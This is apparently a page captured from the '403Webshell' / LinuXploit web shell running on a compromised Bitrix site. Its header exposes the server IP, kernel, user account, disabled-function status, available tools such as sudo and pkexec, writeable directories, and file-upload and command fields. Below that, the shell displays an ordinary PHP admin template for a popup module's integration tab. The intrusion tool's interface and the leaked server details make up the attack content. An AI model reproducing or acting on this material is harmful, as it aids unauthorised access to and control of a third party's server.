403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/skyweb24.popuppro/admin/includes/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/skyweb24.popuppro/admin/includes/tab_integration.php
<?php
/** @var $editableWindow popupproEdit */

use Skyweb24\Popuppro\Mail\TemplateRepository;
use Skyweb24\Popuppro\Manager\Mail\ManagerTemplate;
use Skyweb24\Popuppro\Manager\Popup\ManagerSetting;
use Skyweb24\Popuppro\Popup;


?>
<tr class="heading">
    <td align="center" colspan="2"><?= GetMessage("skyweb24.popuppro_header_bitrix24") ?></td>
</tr>
<tr>
    <td colspan="2">
        <div class="wrapper_settings" id="tab_intergration" style=""></div>
    </td>
</tr>
<tr class="heading integration-contact">
    <td align="center" colspan="2"><?= GetMessage("skyweb24.popuppro_CONTACT_NAME") ?></td>
</tr>
<tr>
    <td>
        <div class="wrapper_settings integration-contact" id="tab_intergration">
            <label>
                <span>
                    <span><?= GetMessage("skyweb24.popuppro_CONTACT_SEND_MAIL") ?></span>
                    <span class="skwb24-item-hint" id="hint_contact_send_mail">?</span>
                </span>
                <input type="checkbox" name="contact_send_mail" value="Y" <?= $checkSendToManager ?>/>

                <?
                    if(is_numeric($request['id'])) {
                        if($mailTemplateId = (new ManagerSetting($request['id']))->getMailTemplateId()) {
                            $mailTemplate = (new ManagerTemplate($mailTemplateId))->getFields();
                        }
                    }

                ?>

                <? if(!empty($mailTemplate)): ?>
                    <a href="/bitrix/admin/message_edit.php?lang=ru&ID=<?=$mailTemplate['ID'];?>"
                       style="width: 0; margin-left: 10px; margin-left: 10px;white-space: nowrap;"><?=$mailTemplate['EVENT_TYPE'];?></a>
                <? endif ?>

                <script>
                    new top.BX.CHint({
                        parent: top.BX("hint_contact_send_mail"),
                        show_timeout: 10,
                        hide_timeout: 200,
                        dx: 2,
                        preventHide: true,
                        min_width: 400,
                        hint: '<?=GetMessage("skyweb24.popuppro_CONTACT_SEND_MAIL_HINT")?>'
                    });
                </script>
            </label>
            <label>
                <span>
                    <span><?= GetMessage("skyweb24.popuppro_CONTACT_SAVE_TO_IBLOCK") ?></span>
                    <span class="skwb24-item-hint" id="hint_contact_save_to_iblock">?</span>
                </span>
                <input type="checkbox" name="contact_save_to_iblock" value="Y"<?= $checkSaveToIblock ?>/>
                <script>
                    new top.BX.CHint({
                        parent: top.BX("hint_contact_save_to_iblock"),
                        show_timeout: 10,
                        hide_timeout: 200,
                        dx: 2,
                        preventHide: true,
                        min_width: 400,
                        hint: '<?=GetMessage("skyweb24.popuppro_CONTACT_SAVE_TO_IBLOCK_HINT")?>'
                    });
                </script>
            </label>

            <? if (count($avIblocks) > 0):
                $listDisplay = (!empty($checkSaveToIblock)) ? '' : ' style="display:none;"';
            ?>
                <label <?= $listDisplay ?>>
                        <span>
                            <span><?= GetMessage("skyweb24.popuppro_CONTACT_SAVE_LIST_IBLOCK") ?></span>
                        </span>

                    <select name="contact_iblock">
                        <option value="">...</option><?
                        $list = '';
                        foreach ($avIblocks as $keyType => $nextType) {
                            ?>
                            <optgroup label="<?= $iblockTypes[$keyType] ?>"><?
                                foreach ($nextType as $keyBlock => $valBlock) {
                                    $selected = (!empty($editArr['contact']['iblock']) && $editArr['contact']['iblock'] == $keyBlock) ? ' selected="selected"' : '';
                                    ?>
                                    <option value="<?= $keyBlock ?>"
                                        <?= $selected ?>><?= $valBlock ?> [<?= $keyBlock ?>]
                                    </option>
                                    <?
                                } ?></optgroup>
                            <?
                        } ?></select>
                </label>
            <? endif; ?>

            <? if (\Bitrix\Main\Loader::IncludeModule('sender')): ?>
                <label>
                    <span>
                        <span><?= GetMessage("skyweb24.popuppro_CONTACT_SAVE_TO_LIST") ?></span>
                    <span class="skwb24-item-hint" id="hint_contact_save_to_list">?</span>
                    </span>
                    <script>
                        new top.BX.CHint({
                            parent: top.BX("hint_contact_save_to_list"),
                            show_timeout: 10,
                            hide_timeout: 200,
                            dx: 2,
                            preventHide: true,
                            min_width: 400,
                            hint: '<?=GetMessage("skyweb24.popuppro_CONTACT_SAVE_TO_LIST_HINT")?>'
                        });
                    </script>
                    <input type="checkbox" name="contact_save_to_list" value="Y" <?= $checkSaveToList ?>/>
                </label>

                <?
                $tmp = $editableWindow->getSetting($editableWindow->getId());
                $tmpContactList = Skyweb24\Popuppro\Tools::getListType($tmp['row']['id'], $tmp['service_name']);
                $displayGroup = (!empty($checkSaveToList)) ? '' : ' style="display:none;"';
                ?>

                <label <?= $displayGroup ?>>
                    <span>
                        <span><?= GetMessage("skyweb24.popuppro_CONTACT_EMAILGROUP") ?></span>
                        <span class="skwb24-item-hint" id="hint_contact_emailgroup">?</span>
                    </span>
                    <script>
                        new top.BX.CHint({
                            parent: top.BX("hint_contact_emailgroup"),
                            show_timeout: 10,
                            hide_timeout: 200,
                            dx: 2,
                            preventHide: true,
                            min_width: 400,
                            hint: '<?=GetMessage("skyweb24.popuppro_CONTACT_EMAILGROUP_HINT")?>'
                        });
                    </script>
                    <select name="contact_groupmail">
                        <option value="0">...</option>
                        <? foreach ($tmpContactList as $keyGroup => $nameGroup) {
                            $selected = (!empty($editArr['contact']['groupmail']) && $editArr['contact']['groupmail'] == $keyGroup) ? ' selected="selected"' : ''; ?>
                            <option value="<?= $keyGroup ?>"
                                <?= $selected ?>><?= $nameGroup ?></option>
                            <?
                        } ?>
                    </select>
                </label>

            <? endif; ?>

            <label>
                <span>
                    <span><?= GetMessage("skyweb24.popuppro_CONTACT_REGISTER") ?></span>
                    <span class="skwb24-item-hint" id="hint_contact_register">?</span>
                </span>
                <script>
                    new top.BX.CHint({
                        parent: top.BX("hint_contact_register"),
                        show_timeout: 10,
                        hide_timeout: 200,
                        dx: 2,
                        preventHide: true,
                        min_width: 400,
                        hint: '<?=GetMessage("skyweb24.popuppro_CONTACT_REGISTER_HINT")?>'
                    });
                </script>
                <input type="checkbox" name="contact_register" value="Y" <?= $checkRegister ?>/>
            </label>
        </div>
    </td>
</tr>

Youez - 2016 - github.com/yon3zu
LinuXploit